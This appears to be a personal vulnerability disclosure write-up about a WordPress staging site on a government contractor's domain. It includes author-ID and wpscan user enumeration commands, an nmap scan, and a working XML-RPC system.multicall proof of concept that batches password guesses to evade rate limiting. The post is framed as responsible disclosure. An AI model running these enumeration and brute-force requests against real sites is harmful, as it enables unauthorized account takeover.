wordpress xml-rpc vulnerability on a gov't contractor
wordpress & its subsequent dangers
contents
#initial recon + user enum
went into this with hackthebox methodology/mindset, since im not a bug bounty hunter (though i'd love to improve at it one day of course)

no immediately exploitable CVEs sadly
manual enumeration revealed the following security issues:
- user enumeration works
river@arch:~ $ curl -s "https://<SITE>.com/?author=1" -L | grep -i "author|redirect"
<title><REDACTED>, Author at <REDACTED></title>
<link rel="canonical" href="https://<SITE>.com/author/admin/" />
<link rel="next" href="https://<SITE>.com/author/admin/page/2/" />
<meta property="og:title" content="<REDACTED, Author at <REDACTED>" />
<meta property="og:url" content="https://<SITE>.com/author/admin/" />
- xml-rpc is disabled
- password reset url:
/dev-login/?action=lostpassword - wp-config backups blocked but with 403 (should be 404)
- readme.html exposed (200) - should be 404
most significant issue identified during this phase was the working user enumeration capability. multiple valid usernames were successfully enumerated through this method.
#port scan + discovery
hit a brick wall with web-based enumeration, so went back to basics (NMAP)
river@arch:~ $ nmap -sV -sC -T4 <SITE>.com
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-09 12:49 -0500
Nmap scan report for <SITE>.com (172.67.213.5)
Host is up (0.033s latency).
Other addresses for <SITE>.com (not scanned): 104.21.77.239 2606:4700:3030::ac43:d505 2606:4700:3037::6815:4def
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Cloudflare http proxy
|_http-title: Did not follow redirect to https://<SITE>.com/
|_http-server-header: cloudflare
443/tcp open ssl/http Cloudflare http proxy
|_http-title: Home - <REDACTED>
|_http-generator: WordPress 6.8.3
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=<SITE>.com
| Subject Alternative Name: DNS:<SITE>.com, DNS:*.<SITE>.com
| Not valid before: 2025-10-16T11:21:36
|_Not valid after: 2026-01-14T12:20:04
|_http-server-header: cloudflare
8080/tcp open http Cloudflare http proxy
|_http-server-header: cloudflare
|_http-title: Did not follow redirect to https://<SITE>.com:8080/
8443/tcp open ssl/http Cloudflare http proxy
|_http-server-header: cloudflare
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=<SITE>.com
| Subject Alternative Name: DNS:<SITE>.com, DNS:*.<SITE>.com
| Not valid before: 2025-10-16T11:21:36
|_Not valid after: 2026-01-14T12:20:04
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.08 seconds- ports 8080 and 8443 were discovered in an open state
- a wildcard SSL certificate (
*.<SITE>.com) was observed, indicating the potential presence of subdomains
#subdomain enumeration and Discovery
cba to use feroxbuster so just went with classic dorking

staging branch is literally public ???
#poking around staging branch
at some point realized some mismatched wordpress versions
eventually poked around enough to find xml-rpc
river@arch:~ $ curl -X POST https://staging.<SITE>.com/xmlrpc.php -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>#xml-rpc security implications
from claude:
XML-RPC (Extensible Markup Language Remote Procedure Call) is a legacy protocol that enables remote function calls using XML for encoding and HTTP as the transport mechanism. While XML-RPC provides various functionalities, this analysis focuses specifically on the system.multicall() method due to its security implications.
#system.multicall() Attack Vector
the system.multicall() function allows multiple remote procedure calls to be batched into a single HTTP request. this can be abused to bypass rate limiting and intrusion detection systems
example:
traditional brute-force attack: 100 password attempts = 100 individual HTTP requests, which triggers rate limiting and detection mechanisms
with system.multicall(): 100 password attempts = 1 HTTP request, effectively bypassing security controls:
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><array><data>
<value><struct>
<member><name>methodName</name><value>wp.getUsersBlogs</value></member>
<member><name>params</name><value><array>
<data><value>admin</value><value>password1</value></data>
</array></value></member>
</struct></value>
<!-- Repeat for password2, password3... password100 -->
</data></array></param>
</params>
</methodCall>this would also bypass a WAF
#proof of concept
river@arch:~ $ curl -s -X POST https://staging.<SITE>.com/xmlrpc.php -d '<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>interndev</string></value>
<value><string>admin123</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>interndev</string></value>
<value><string>test123</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>interndev</string></value>
<value><string>password123</string></value>
</data></array></value></member>
</struct></value>
</data>
</array>
</value>
</param>
</params>
</methodCall>'
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
</data></array>
</value>
</param>
</params>
</methodResponse>#additional User Enumeration via WPScan
wpscan --url https://staging.<SITE>.com --enumerate u --plugins-detection passive --random-user-agent
[+] XML-RPC seems to be enabled: https://staging.<SITE>.com/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: https://staging.<SITE>.com/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: https://staging.<SITE>.com/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.7.4 identified (Outdated, released on 2025-09-30).
| Found By: Rss Generator (Passive Detection)
| - https://staging.<SITE>.com/feed/, <generator>https://wordpress.org/?v=6.7.4</generator>
| - https://staging.<SITE>.com/comments/feed/, <generator>https://wordpress.org/?v=6.7.4</generator>
[i] User(s) Identified:
[+] <REDACTED>
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Rss Generator (Aggressive Detection)
[+] <REDACTED>
| Found By: Wp Json Api (Aggressive Detection)
| - https://staging.<SITE>.com/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] <REDACTED>
| Found By: Wp Json Api (Aggressive Detection)
| - https://staging.<SITE>.com/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Oembed API - Author URL (Aggressive Detection)
| - https://staging.<SITE>.com/wp-json/oembed/1.0/embed?url=https://staging.<SITE>.com/&format=json
| Yoast Seo Author Sitemap (Aggressive Detection)
| - https://staging.<SITE>.com/author-sitemap.xml
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] <REDACTED>
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] <REDACTED>
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
---WPScan results confirmed:
- four distinct user accounts were enumerated
- xml-rpc functionality was verified as enabled (should have just done this from the start, in retrospect)
- multiple enumeration vectors were available (RSS feeds, JSON API, Author sitemaps)
when combined with the system.multicall() amplification capability, this configuration presents a significant security risk for credential brute-force attacks.
#disclosure
This vulnerability was responsibly disclosed to the affected organization and has been remediated. Public disclosure was authorized following the resolution of all identified security issues.